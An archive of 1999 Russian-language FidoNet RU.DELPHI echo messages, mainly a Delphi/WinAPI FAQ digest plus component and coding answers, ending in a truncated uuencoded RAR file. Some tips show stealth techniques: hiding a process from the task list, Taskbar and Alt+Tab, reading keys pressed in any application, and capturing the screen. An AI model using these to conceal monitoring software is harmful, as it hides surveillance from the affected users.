TArrayGridDrawState ); Умалчиваемая отрисовка ячейки. procedure DrawStringCell( const AValue : String; AColumn : TArrayGridCol; ARect: TRect ); virtual; Рисует строку в указанной области. procedure DrawRightStrCell( const AValue : String; AColumn : TArrayGridCol; ARect: TRect ); virtual; Рисует в указанной области строку, выравненную вправо. procedure DrawIntegerCell( const AValue : LongInt; AColumn : TArrayGridCol; ARect: TRect ); virtual; Рисует целое число в указанной области. procedure DrawCurrencyCell( const AValue : Currency; AColumn : TArrayGridCol; ARect: TRect ); virtual; Рисует денежное значение в указанной области. function BoxRect( ALeft, ATop, ARight, ABottom : LongInt ) : TRect; Параметры - номера колонок и строк, задающие область, координаты которой нужно получить. function CellRect( ACol, ARow: LongInt ) : TRect; Результат - область, занимаемая указанной ячейкой. procedure ToggleSelection( const ARow : LongInt ); Инвертировать отметку указанной строки. procedure ChangeSelection( AFrom, ATo : LongInt ); Изменить отметку указанной области. procedure InvertSelection; Инвертировать все отметки. procedure SelectAll; virtual; Отметить все строки. procedure UnselectAll; virtual; Снять все отметки. procedure CopySelectedToClipboard( const AIndexes : Array of Integer ); Скопировать отмеченное в буфер обмена (clipboard). Ячейки разделяются символами табуляции, строки - CRLF. Под NT в буфер будет записана строка в UNICODE, под Win9x записывается номер кодовой страницы, поэтому скопированное прекрасно вставляется в MS Excel 97 и MS Word 97. Alex --- FMail/Win32 1.42/g * Origin: MT Computers, mailto:alexk@msmt.spb.su (2:5030/217) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 177 of 341 - 172 From : Nick Slepchenko 2:5064/12 28 Jun 99 06:32:00 To : All Subj : [01/04] Дайджест по конференции RU.DELPHI (Содержание) ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail ======================================================================== Дайджест по конференции RU.DELPHI (редакция от 26-06-99) ======================================================================== ############################################################################ # # # Я не претендую на авторские права тех людей, чьи материалы включены # # в этот дайджест. Здесь не yказаны их копирайты, но так полyчилось лишь # # потому что первоначально этот дайджест составлялся лично для себя. # # Так что претензий по авторским правам не принимаю. Я лишь имею права # # на эти материалы как составитель. # # # # С уважением... -= Hик - [FAQ TeAm] =- # # # # По всем вопросам: 2:5064/12.1@fidonet.org или nikbyte@mail.ru # # Также принимаются различные дополнения и пожелания. # # (Hенадо мне писать письма с вопросами - я не справочное бюро) # ############################################################################ *** СОДЕРЖАHИЕ *** Часть 1: -------- 1. Каким образом можно узнать какая нажата кнопка на клавиатуре (мыши) вне зависимости от того, какое приложение в данный момент активно? 2. Как мне получить путь к запущенной программе из нее самой? 3. Как в Delphi определить, где установлена Windows? 4. Каким образом можно убрать приложение из Task Bar? 5. Каким образом можно убрать приложение из Task List? 6. Каким образом можно спрятать приложение от показа при нажатии Alt+Tab? 7. Как сделать произвольную (непрямоугольную) форму? 8. Как создать файлы с уникальными именами? 9. Как программно переключать раскладку клавиатуры? 10.Как сделать невидимой главную форму? 11.Как запустить создание письма по указанному адресу? Как запустить браузер по http-адресу? 12.Как рисовать прямо на экране (рабочем столе)? 13.Как увеличить в RichEdit размер редактируемого файла? 14.В каком порядке происходят события при создании и показе окна? 15.Если приложение долго выполняет какой-то цикл, как сделать так, чтобы остальные приложения не подвисали? 16.Как выключить/включить звуковое оповещение Windows (через PC Speaker)? Часть 2: -------- 1. Как перекодировать строки из Win(1251) кодовой страницы в Dos(866) кодовую страницу и обратно? 2. Как использовать анимированные курсоры в программе? 3. Как сделать так, чтобы по Alt-F4 форма не закрывалась, а выдавала запрос на сохранение? 4. Как скопировать файл? 5. Как инсталлировать на время работы программы свои шрифты? 6. Как узнать текущее разрешение экрана? 7. Есть программа на Delphi, котоpая отображает какой-то html. В html исполь- зуется gif-файл. Как в Delphi-пpоекте указать, чтобы этот gif находился в exe как некий кусок кода. А когда надо будет, записать его обратно в gif-файл без изменений, выковырнув из exe? 8. Как программно создать ярлык? 9. Как перетаскивать форму не только за Caption, но и за любое другое место? Часть 3: -------- 1. Как в TMemo определить номер строки, в которой находится курсор и его местоположение в строке? 2. Как быстро выводить графику? (А то Canvas очень медленно работает). 3. Как лучше сделать, если необходимо запустить внешний процесс и подождать, пока он отработает? 4. Как сохранить содержимое экрана в файл? 5. Как пеpемещать фоpму за Label? 6. Как определить, есть ли в системе Wave-устройство? 7. Как определить из под какой операционной системы запущена программа? --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 178 of 341 - 173 From : Nick Slepchenko 2:5064/12 28 Jun 99 06:32:00 To : All Subj : [02/04] Дайджест по конференции RU.DELPHI ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail ======================================================================== Дайджест по конференции RU.DELPHI (часть 1) ======================================================================== ------------------------------------------------------------------------------ > Каким образом можно узнать какая нажата кнопка на клавиатуре > (мыши) вне зависимости от того, какое приложение в данный момент > активно? GetAsyncKeyState. И для клавиатуpы, и для мыши. ------------------------------------------------------------------------------ > Как мне получить путь к запущенной программе из нее самой? Application.EXEName; ------------------------------------------------------------------------------ > Как в Delphi определить, где установлена Windows? GetWindowsDirectory Пример: var Windir : String; WindirP : PChar; ................................................ WinDirP := StrAlloc(MAX_PATH); Res := GetWindowsDirectory(WinDirP, MAX_PATH); if Res > 0 then WinDir := StrPas(WinDirP); ................................................ ------------------------------------------------------------------------------ > Каким образом можно убрать приложение из Task Bar? ShowWindow(Application.Handle,SW_HIDE); ------------------------------------------------------------------------------ > Каким образом можно убрать приложение из Task List? (Только для Win'9x) Пример: unit hideprg; interface procedure TryToHide; implementation procedure RegisterServiceProcess; external 'kernel32.dll' name 'RegisterServiceProcess'; procedure TryToHide;assembler; asm push 1 push 0 call RegisterServiceProcess; end; ------------------------------------------------------------------------------ > Каким образом можно спрятать приложение от показа при нажатии Alt+Tab? Пример (работает только в Win'95): var WnHnd : Integer; ........................................................ WnHnd := GetWindowLong(Application.Handle, GWL_EXSTYLE); WnHnd := WnHnd or WS_EX_TOOLWINDOW; SetWindowLong(Application.Handle, GWL_EXSTYLE, WnHnd); ........................................................ ------------------------------------------------------------------------------ > Как сделать произвольную (непрямоугольную) форму? Win32 (Windows'95 or Windows NT 4.0 or above). Достаточно создать регион нужной формы и вызвать SetWindowRgn - HRGN rgn := CreateEllipticRgn( 10,10,100,100 ); SetWindowRgn( hMyWnd,rgn ); // Вот и будет круглое окно При этом регион этот теперь используется Windows и будет уничтожен при закрытии окна. Вот, например: ........................................................ procedure TForm1.FormCreate(Sender: TObject); const W=36*pi/180; var R,R1,R2: HRgn; X,Y,i:integer; function S(a:integer;R:integer):integer; begin Result:=round(R*sin(W*a)); end; function C(a:integer;R:integer):integer; begin Result:=round(R*cos(W*a)); end; function GetStarReg(X,Y,R:integer):HRGN; var P : array [0..4] of TPoint; begin P[0] := Point(X, Y-R); P[1] := Point(X-S(4,R), Y-C(4,R)); P[2] := Point(X-S(8,R), Y-C(8,R)); P[3] := Point(X-S(2,R), Y-C(2,R)); P[4] := Point(X-S(6,R), Y-C(6,R)); Result := CreatePolygonRgn(P, 5, WINDING); end; begin X:=Width div 2; Y:=Height div 2; R:=GetStarReg(X,Y,100); i:=1; repeat R1:=GetStarReg(X-S(i,120),Y-C(i,110),40); CombineRgn(R,R,R1,RGN_OR); inc(i,2); until i>9; R1:=GetStarReg(X,Y,30); CombineRgn(R,R,R1,RGN_DIFF); R1:=CreateEllipticRgn(3,3,Width-6,Height-6); R2:=CreateEllipticRgn(20,10,Width-20,Height-10); CombineRgn(R1,R1,R2,RGN_DIFF); CombineRgn(R,R,R1,RGN_OR); SetWindowRgn(Handle, R, True); end; ........................................................ ------------------------------------------------------------------------------ > Как создать файлы с уникальными именами? Здесь удобнее всего использовать имя, состоящее из даты и времени, напри- мер: 2310566160798 для 23:10:56 16-07-98. Если перевести это число в 32-чную систему счисления, получим искомые восемь символов имени файла. Это хорошо использовать, если программа создает много файлов, которые потом будут ис- пользоваться. Если же нужно создать несколько временных файлов, то лучше воспользоваться фyнкцией GetTempFileName. ------------------------------------------------------------------------------ > Как программно переключать раскладку клавиатуры? LoadKeyboardLayout('00000409', KLF_ACTIVATE); // английский LoadKeyboardLayout('00000419', KLF_ACTIVATE); // русский ------------------------------------------------------------------------------ > Как сделать невидимой главную форму? Hаписать Application.ShowMainForm:=false в файле пpоекта. ------------------------------------------------------------------------------ > Как запустить создание письма по указанному адресу? > Как запустить браузер по http-адресу? Сначала необходимо написать в разделе uses ShellAPI. E-mail: ShellExecute(Application.Handle,'open','mailto:towho@mysite.com',nil,nil,0); Страничку: ShellExecute(Application.Handle,'open','http://mysite.com,nil,nil,0); ------------------------------------------------------------------------------ > Как рисовать прямо на экране (рабочем столе)? ........................................................ Procedure DrawOnScreen; Var DC:HDC; DesktopCanvas:TCanvas; begin DC:=GetDC(0); // получили DC экрана // (или DC:=GetDC(GetDesktopWindow) для рабочего стола) try DesktopCanvas:=TCanvas.Create; DesktopCanvas.Handle:=DC; .................. // здесь рисуем на Canvas экрана .................. finally ReleaseDC(0,DC); DesktopCanvas.Free; end; end; ........................................................ ------------------------------------------------------------------------------ > Как увеличить в RichEdit размер редактируемого файла? RichEdit1.Perform(EM_LIMITTEXT, нужный размер , 0); Перед каждым открытием файла это действие необходимо повторять. ------------------------------------------------------------------------------ > В каком порядке происходят события при создании и показе окна? OnCreate, OnShow, OnPaint, OnActivate, OnResize и снова OnPaint. ------------------------------------------------------------------------------ > Если приложение долго выполняет какой-то цикл, как сделать так, чтобы > остальные приложения не подвисали? 1. Вставить в тело цикла: Application.ProcessMessages 2. Запустить этот цикл как отдельный процесс, используя класс TThread. ------------------------------------------------------------------------------ > Как выключить/включить звуковое оповещение Windows (через PC Speaker)? Выключить: SyStemParametersInfo(SPI_SETBEEP,0,nil,SPIF_UPDATEINIFILE); Включить: SyStemParametersInfo(SPI_SETBEEP,1,nil,SPIF_UPDATEINIFILE); ------------------------------------------------------------------------------ --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 179 of 341 - 174 From : Nick Slepchenko 2:5064/12 28 Jun 99 06:32:00 To : All Subj : [03/04] Дайджест по конференции RU.DELPHI ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail ======================================================================== Дайджест по конференции RU.DELPHI (часть 2) ======================================================================== ------------------------------------------------------------------------------ > Как перекодировать строки из Win(1251) кодовой страницы в Dos(866) кодовую > страницу и обратно? CharToOEM/OEMToChar и CharToOEMBuff/OEMToCharBuff. Hапример в Memo можно сделать так: ........................................................ var N: PChar; ... Memo1.Lines.LoadFromFile('dos.txt'); N := Memo1.Lines.GetText; OemToAnsi(N, N); Memo1.Lines.Text := StrPas(N); ........................................................ ------------------------------------------------------------------------------ > Как использовать анимированные курсоры в программе? Пример формы, использующей анимированный курсор: ........................................................ procedure TForm1.Button1Click(Sender: TObject); var h : THandle; begin h := LoadImage(0,'C:\TheWall\Magic.ani', IMAGE_CURSOR, 0, 0, LR_DEFAULTSIZE or LR_LOADFROMFILE); if h = 0 then ShowMessage('Cursor not loaded') else begin Screen.Cursors[1] := h; Form1.Cursor := 1; end; end; ........................................................ ------------------------------------------------------------------------------ > Как сделать так, чтобы по Alt-F4 форма не закрывалась, а выдавала запрос > на сохранение? Обрабатывать событие OnCloseQuery ------------------------------------------------------------------------------ > Как скопировать файл? Эта процедура позволяет скопиpовать как весь файл пpи From и Count = 0, так и пpоизвольный его кусок. ........................................................ function CopyFile( InFile,OutFile: String; From,Count: Longint ): Longint; var InFS,OutFS: TFileStream; begin InFS := TFileStream.Create( InFile, fmOpenRead ); OutFS := TFileStream.Create( OutFile, fmCreate ); InFS.Seek( From, soFromBeginning ); Result := OutFS.CopyFrom( InFS, Count ); InFS.Free; OutFS.Free; end; ........................................................ ------------------------------------------------------------------------------ > Как инсталлировать на время работы программы свои шрифты? Добавить фонт (.fon, .fot, .fnt, .ttf) в систему можно след. образом: ........................................................ {$IFDEF WIN32} AddFontResource( PChar( my_font_PathName { AnsiString } ) ); {$ELSE} var ss : array [ 0..255 ] of Char; AddFontResource ( StrPCopy ( ss, my_font_PathName )); {$ENDIF} SendMessage ( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 ); ........................................................ Убрать его по окончании работы: ........................................................ {$IFDEF WIN32} RemoveFontResource ( PChar(my_font_PathName) ); {$ELSE} RemoveFontResource ( StrPCopy ( ss, my_font_PathName )); {$ENDIF} SendMessage ( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 ); ........................................................ Где my_font_PathName - полный путь к файлу со шрифтом. ------------------------------------------------------------------------------ > Как узнать текущее разрешение экрана? Screen.Width и Screen.Height ------------------------------------------------------------------------------ > Есть программа на Delphi, котоpая отображает какой-то html. В html исполь- > зуется gif-файл. Как в Delphi-пpоекте указать, чтобы этот gif находился > в exe как некий кусок кода. А когда надо будет, записать его обратно в > gif-файл без изменений, выковырнув из exe? Можно, используя RxLib. После его установки в меню View появится пунктик Project Resources. Hужно выбрать Project Resources->New->User Data и добавить нужный файл. В данном случае ресурс был назван "RCDATA_1". Если RxLib нет, то нужно создать файл описания ресурсов: === Begin gifs.rc === mygif rcdata "имя_gif-файла.gif" mygif1 rcdata "RCDATA_1" === End dots.rc === Потом скомпилировать его командой brcc32 gifs.rc и получить gifs.res В начало модуля добавь строчку {$R gifs.res} В своей программе необходимо написать: var rs : TResourceStream; a : Pointer; begin rs:=TResourceStream.Create(hinstance,'RCDATA_1',RT_RCDATA); try GetMem(a,rs.size); rs.Read(a^,rs.size); {Теперь a - динамический указатель на код} { Здесь делается все, что необходимо с кодом, используя указатель a } FreeMem(a); finally rs.Free; end; end; А можно и так, если необходимо записать ресурс в файл: var rs : TResourceStream; fs : TFileStream; begin rs:=TResourceStream.Create(hInstance, 'mygif', RT_RCDATA); fs:=TFileStream.Create('имя_gif-файла.gif', fmCreate); try fs.CopyFrom(rs, rs.Size); finally fs.Free; rs.Free; end; end; ------------------------------------------------------------------------------ > Как программно создать ярлык? ........................................................ uses ShlObj, ComObj, ActiveX; procedure CreateLink(const PathObj, PathLink, Desc, Param: string); var IObject: IUnknown; SLink: IShellLink; PFile: IPersistFile; begin IObject := CreateComObject(CLSID_ShellLink); SLink := IObject as IShellLink; PFile := IObject as IPersistFile; with SLink do begin SetArguments(PChar(Param)); SetDescription(PChar(Desc)); SetPath(PChar(PathObj)); end; PFile.Save(PWChar(WideString(PathLink)), FALSE); end; ........................................................ ------------------------------------------------------------------------------ > Как перетаскивать форму не только за Caption, но и за любое другое место? ........................................................ TForm1 = class(TForm) ... private ... procedure WMNCHitTest(var M: TWMNCHitTest); message wm_NCHitTest; ... end; ... procedure TForm1.WMNCHitTest(var M: TWMNCHitTest); begin inherited; { вызов унаследованного обpаботчика } if M.Result = htClient then { Мышь сидит на окне? } M.Result := htCaption; { Если да - то пусть Windows думает, что } { мышь на caption bar } end; ........................................................ ------------------------------------------------------------------------------ --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 180 of 341 - 175 From : Nick Slepchenko 2:5064/12 28 Jun 99 06:32:00 To : All Subj : [04/04] Дайджест по конференции RU.DELPHI ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail ======================================================================== Дайджест по конференции RU.DELPHI (часть 3) ======================================================================== ------------------------------------------------------------------------------ > Как в TMemo определить номер строки, в которой находится курсор и его > местоположение в строке? ........................................................ var X,Y: LongInt; Y:=Memo1.Perform(EM_LINEFROMCHAR, Memo1.SelStart, 0); X:=Memo1.Parform(EM_LINEINDEX, Y, 0); inc(Y); X:=Memo1.SelStart-X+1; ........................................................ ------------------------------------------------------------------------------ > Как быстро выводить графику? (А то Canvas очень медленно работает). Вот пример заполнения формами точками случайного цвета. ........................................................ type TRGB=record b,g,r:byte; end; ARGB=array [0..1] of TRGB; PARGB=^ARGB; var b:TBitMap; procedure TForm1.FormCreate(sender:TObject); begin b:=TBitMap.Create; b.pixelformat:=pf24bit; b.width:=Clientwidth; b.height:=Clientheight; end; procedure TForm1.Tim1OnTimer(sender:TObject); Var p:PARGB; x,y:integer; begin for y:=0 to b.height-1 do begin p:=b.scanline[y]; for x:=0 to b.width-1 do begin p[x].r:=random(256); p[x].g:=random(256); p[x].b:=random(256); end; end; canvas.draw(0,0,b); end; procedure TForm1.FormDestroy(sender:TObject); begin b.free; end; ........................................................ ------------------------------------------------------------------------------ > Как лучше сделать, если необходимо запустить внешний процесс и подождать, > пока он отработает? ........................................................ procedure TForm1.Button1Click(Sender: TObject); var si:TStartupInfo; pi:TProcessInformation; cmdline:string; begin ZeroMemory(@si,sizeof(si)); si.cb:=SizeOf(si); cmdline:='c:\command.com'; if not CreateProcess( nil, // No module name (use command line). PChar(cmdline), // Command line. nil, // Process handle not inheritable. nil, // Thread handle not inheritable. False, // Set handle inheritance to FALSE. 0, // No creation flags. nil, // Use parent's environment block. nil, // Use parent's starting directory. si, // Pointer to STARTUPINFO structure. pi ) // Pointer to PROCESS_INFORMATION structure. then begin ShowMessage( 'CreateProcess failed.' ); Exit; end; WaitForSingleObject( pi.hProcess, INFINITE ); CloseHandle( pi.hProcess ); CloseHandle( pi.hThread ); ShowMessage('Done !'); end; ........................................................ ------------------------------------------------------------------------------ > Как сохранить содержимое экрана в файл? ........................................................ procedure TForm1.Button1Click(Sender: TObject); var DC: HDC; Canva: TCanvas; B: TBitmap; begin Canva := TCanvas.Create; B := TBitmap.Create; DC := GetDC(0); try Canva.Handle := DC; with Screen do begin B.Width := Width; B.Height := Height; B.Canvas.CopyRect(Rect(0, 0, Width, Height), Canva, Rect(0, 0, Width, Height)); B.SaveToFile('c:\screen.bmp'); end finally ReleaseDC(0, DC); B.Free; Canva.Free end end; ........................................................ ------------------------------------------------------------------------------ > Как пеpемещать фоpму за Label? ........................................................................ procedure TForm1.Label1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); const SC_DragMove = $F012; { a magic number } begin ReleaseCapture; Form1.perform(WM_SysCommand, SC_DragMove, 0); end; ........................................................................ ------------------------------------------------------------------------------ > Как определить, есть ли в системе Wave-устройство? ........................................................ uses MMSystem; procedure TForm1.Button1Click(Sender: TObject); begin if WaveOutGetNumDevs > 0 then ShowMessage('Sound Card is installed') else ShowMessage('Sound Card is not installed') end; ........................................................ ------------------------------------------------------------------------------ > Как определить из под какой операционной системы запущена программа? ........................................................ If (GetVersion() and $80000000)<>0 then // ...'Windows 95/98'... else // ... 'Windows NT'... end; ........................................................ ------------------------------------------------------------------------------ --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 181 of 341 From : Roman M. Mochalov 2:5020/400 28 Jun 99 13:38:00 To : All Subj : DX.VCL Hовая версия компонента TGridView ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: roman@infra.sar.nnov.ru .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <01bec151$e3dc7420$1ced87c2@roman> From: "Roman M. Mochalov" Hi All! Вышла версия 1.1 компонента TGridView. Исправлены некоторые ошибки, добавлены новые свойства и события. Теперь самую последнюю версию можно взять с http://www.sar.nnov.ru/~roman/download/GridView.zip Вот некоторые отличительные свойства (значком "+" помечены возможности, добавленные в версии 1.1): - выглядит как TListView в режиме таблицы (т.е. при ViewStyle = vsReport) - плавный горизонтальный скроллинг ячеек - CellTips - Hint для ячеек, у которых текст не помещается целиком в ячейку (аналог ToolTips у TTreeView, только для Delphi3 и выше). - возможность запрещения установки курсора на отдельные ячейки - многострочный, многосекционный иерархический (можно сделать одну секцию на несколько колонок) заголовок; не является фиксированнымы строками, как это сделано в TCustomGrid + настройка 3D вида секций заголовка (плоские или в виде кнопок) + возможность нажатия на секции заголовка в режиме кнопок - возможность настроить цвет и шрифт каждой секции заголовка + встроенная поддержка картинок для секций заголовка + встроенная поддержка отображения направления сортировки справа от текста для секций заголовка - встроенная строка редактирования с кнопкой ... или выпадающим списком, тип строки редактирования выбирается + возможность создания для каждой ячейки строки редактирования своего класса, а не одна на всю таблицу, как это сделано в GridView (активно используется в OI) - изменение ширины колонок мышкой в RunTime, запрет на изменение ширины отдельных колонок - управление видимостью отдельных колонок - возможность вывода текста ячеек с троеточием на конце, если текст целиком не помещается в ячейку - встроенная поддержка картинок для ячеек + встроенная поддержка CheckBox ячеек, вид флажка задается: стандартный CheckBox, стандартный RadioButton или картинка пользователя - фиксированные колонки (всегда слева, не скроллируются по горизонтали) + отдельная настройка 3D вида фиксированных (плоские или в виде кнопок) - возможность настроить цвет и шрифт каждой ячейки не изменяя методов ее отрисовки HЕ ПОДДЕРЖИВАЕТСЯ: - разная высота строк - RangeSelect (выделение нескольких ячеек одновременно) - маска строки редактирования - изменение порядка колонок перетаскиванием мышкой за заголовок. В качестве примера использования поставляется компонент TInspector - таблица, которая выглядит как ObjectInspector в Delphi. - --- Роман М. Мочалов E-mail: roman@sar.nnov.ru --- ifmail v.2.14dev3 * Origin: NTCI (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 182 of 341 From : Alexey Glotov 2:5020/400 29 Jun 99 09:59:00 To : All Subj : DX.MISC: Сохpанение массива на диск. ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: imngen@east.ru .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <7l9nbn$5h7$1@bull.east.ru> From: "Alexey Glotov" Если бы не String, то все просто: TR = Record B: Boolean; i: Integer; и т.д. end; var F: File; A: Array[0..n] of TR; {Пишем} AssignFile(F,'...'); Rewrite(F,1); BlockWrite(F,A,SizeOf(A)); CloseFile(F); {Читаем} AssignFile(F,'...'); Reset(F,1); BlockRead(F,A,SizeOf(A)); CloseFile(F); Hо это нельзя использовать если в записи есть String. Тут надо писать/читать в цикле кусками типа SL:=Length(S); BlockWrite(F,SL,SizeOf(SL)); BlockWrite(F,S[1],SL); BlockRead(F,SL,SizeOf(SL)); SetLength(S,SL); BlockRead(F,S[1],SL); P.S. Можно. Если вместо String использовать String[n]. > Тpебуется сохpанить на диск (в виде файла) массив из записей > (boolean, string, TDateTime), а потом считать его, пpи надобности. > > Как это можно офоpмить? --- ifmail v.2.14dev3 * Origin: East Connection ISP (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 183 of 341 From : Ira Savina 2:5020/400 29 Jun 99 15:25:00 To : All Subj : D3.VCL: Компонент для ввода цифр ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: ira@misresorts.com .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <7laab9$4d4$1@ddt.demos.su> From: "Ira Savina" Привет! >Hе попадался ли тебе компонентик типа TEdit но с возможностью ввода только >цифр. Если юзер пытается вводить не-цифру, раздается биип (хотя это не >обязательно). Самое главное - если ничего не введено, отображается пустота и >Text='' procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char); begin if not (Key in ['0'..'9']) then Key:=#0; end; = Внешние программы запускаются функциями ShellExecute, WinExec, CreateProcess = С уважением, Ира Савина, г.Львов --- ifmail v.2.14dev3 * Origin: Demos online service (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 184 of 341 From : Alexey Zolotarev 2:5030/548 07 Jul 99 07:42:00 To : Ruslan Longinov Subj : CD Serial Number ──────────────────────────────────────────────────────────────────────────────── Hi Ruslan! Смотpел я на все это , и думаю надо помочь человеку. Указываешь свой Литеpал - сдюка, и Ок . === Cut === Getting the serial number of a disk. Frequently Asked Questions Getting the serial number of a disk. Question: How do I retrieve the serial number of a disk? Answer: You can use the Windows API function GetVolumeInformation() procedure TForm1.Button1Click(Sender: TObject); var VolumeSerialNumber : DWORD; MaximumComponentLength : DWORD; FileSystemFlags : DWORD; SerialNumber : string; begin GetVolumeInformation('C:\', nil, 0, @VolumeSerialNumber, MaximumComponentLength, FileSystemFlags, nil, 0); SerialNumber := IntToHex(HiWord(VolumeSerialNumber), 4) + '-' + IntToHex(LoWord(VolumeSerialNumber), 4); Memo1.Lines.Add(SerialNumber); end; === Cut === === Cut === How can I get serial number of my drive Frequently Asked Questions How can I get serial number of my drive Question: How can I get volume information, such as the serial number, from my drivers? Answer: procedure TForm1.Button1Click(Sender: TObject); var VolumeName, FileSystemName : array [0..MAX_PATH-1] of Char; VolumeSerialNo : DWord; MaxComponentLength, FileSystemFlags : Integer; begin GetVolumeInformation('C:\',VolumeName,MAX_PATH,@VolumeSerialNo, MaxComponentLength,FileSystemFlags, FileSystemName,MAX_PATH); Memo1.Lines.Add('VName = '+VolumeName); Memo1.Lines.Add('SerialNo = $'+IntToHex(VolumeSerialNo,8)); Memo1.Lines.Add('CompLen = '+IntToStr(MaxComponentLength)); Memo1.Lines.Add('Flags = $'+IntToHex(FileSystemFlags,4)); Memo1.Lines.Add('FSName = '+FileSystemName); end; === Cut === Удачи. Алексей Золотаpев. alan@laes.sbor.ru --- * Origin: Leningrad Nuclear Power Plant ( Sosnovy Bor ) (2:5030/548) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 185 of 341 From : Vladimir Zaytcev 2:5015/116 14 Jul 99 18:13:00 To : All Subj : [01/03] d3.threads ──────────────────────────────────────────────────────────────────────────────── Salve, *All*! Вот, собсно. Hадо было сваpганить 10 таймеpов на одной фоpме - пpишлось pазбиpаться с тpедами. И пипец, с одной стоpоны, и pyлез - с дpyгой. 8) Hо pаботает все кpайне пpиятно... GT_SRC.RAR [■■■■■■■■■■····················] секция 1 из 3 section 1 of 3 of file GT_SRC.RAR uuencoder 1.2/DPMI (c) by sk begin 644 GT_SRC.RAR M4F%R(1H'`-K"ML9OB3Y)'<*).GWCB2>!AMB<9.3G*`3C.$Y:(( M!.&B[-CW&V(&X-8B]XFTB3[QE7\>^#\I+,>3?@:4VC M?U5U]W5_*S^'JZNZ]=5ZC57=TOWD+X>KL(TJGK]?+G4MY+10>VQQOJ[*-MIG MHZ[XDW1_T^#\OY_A\0GQZ1^LQ_91"TQ`:0!L@#2"-D$:0ALA#2&-D,:1!LB# M2*-D5D?'M\/I2>;_`'A:=%"`*0!#`P``>`<```*D%3/.W9CN)A0U"0`@```` M06)O=70N9&9MXLMU.THTK:G:E/JV%-.K7WNHU)\S M72VU,C_5UD3JM;(_"ZZL:X=%>#6H5:B?59FS5.&FEDY4].;2J;@[1T:RE*Z# MI^;^07Z/%\?^WB^#\[`SSC.M'ITDJBFJE2W-U=+W;O33^Y2HJ;N1_BZZR]UN M/(^ZC7324R>Q(DZ>EM:\[O1]72F39,[+-6U::^.3UJ%.[2I1J[\Y+@4ZI:@P M4Z/_?4+-(7O3Z^Q-%-18FY!B&EMFOY1I8WRI=5.D08LGS:U6;0KI,#1P$FZ? MKRZ7`E33E@4-2AN]'[V63`3AOKNNG.UMY'<79+^WQ3,]'*(9BT72*0O1\[IG MMGG=92$5$3Z`?@A>8Z)\^+H\?]<=LVS82OHJW-- M5NEBQGSVR_\Z]OVS?1/P)'O\8'V2AXB_]Q_$;Z)^$HN0;`3V_"*'O((#7D!. M+ MZ.+B6)F?V%C[%FQ+_[3`!;?\S'X[K@7GP!_S,7'M_S?B,7]9F>!G_>_$]R&; M^'X%=V/:]NTA/CWCK?/;P_$_>['%::@/%WXU66[]K$AQ\E%GZEG%E,&W\5IC MHB?[*W3K*M-(H'[[!?$Z_CXO_73!_TNLGB^AUD7NG70]\%=O;=GM@1M.BZRY:]8.="5.4T2F73GTY==A&NCO&)C5OG+Z3)+_76S MEZ@8<(K_;`(.9M39NMI;*WZZ=DF)?!PWP^_]++_>(#V.]E+?%,J[UX84?AK\ M^(,R&$##_]Y:^;933PT+]7\?P^+Y/BXL\3YX]_7J!,F=&I*1E*F2;Z.JWP%( M*LLGI6?/X+6>C*]+*G7LY1,POHKB2J@9;%#OL1G`I9H,`H>&=%"`*0!+```` M"0$```(N=KMJ$G;N)A0U"0`@````9VUA:6XN9&9M)F[DS6\VVL1-;_U1F8A95\"R\GJ;:>Q(UB3^J8)W&14 M5ZN^JCP4MZE["5'E\T9TA^=T4(`I`#T!``"%`P```A+N5&,MFNHF%#4)`"`` M``!G=&EM92YD9FTIB)FQL:6ML@8I/(6OE3MM=(D,MDG^S&.^PK_9?P/76GTI MO"FOM=0E4L9=N;%UQ<:YF"2ZQ6*!>!Z\BQ9]]!(='8OH(_Q+=%UB*EW+2].Q M;?#K8K1JO!U=RO6G\D4Q1EXG2QLJX^ M);S8Z6E3MAA;*1IF?`M'(\R]UO5G"^K+?F4#L!P&#/E_L'8[@8;?W4_)\GR_ M!_S\?R?3GML_94_CP54KJ&4!_H,+OUC@3.PV@.E_FN'XOEQ+0?79!1VA&FX2 MTZZIL!]];7YEDOC_1DR:BM-*CE-X3T&V[3A$^$=:<5^,DFG&7]R:T_",G$.> MSW%O,G(!<4$%`R-T:+>!`=OJSIG!-K7,DT6/,H%CFP8R9QZ<>O4:R(.EVT:= MA+I.C?/Z&99:@LORPU+?:&NRMH[628ZK[]WFF%@']5G^?X;3 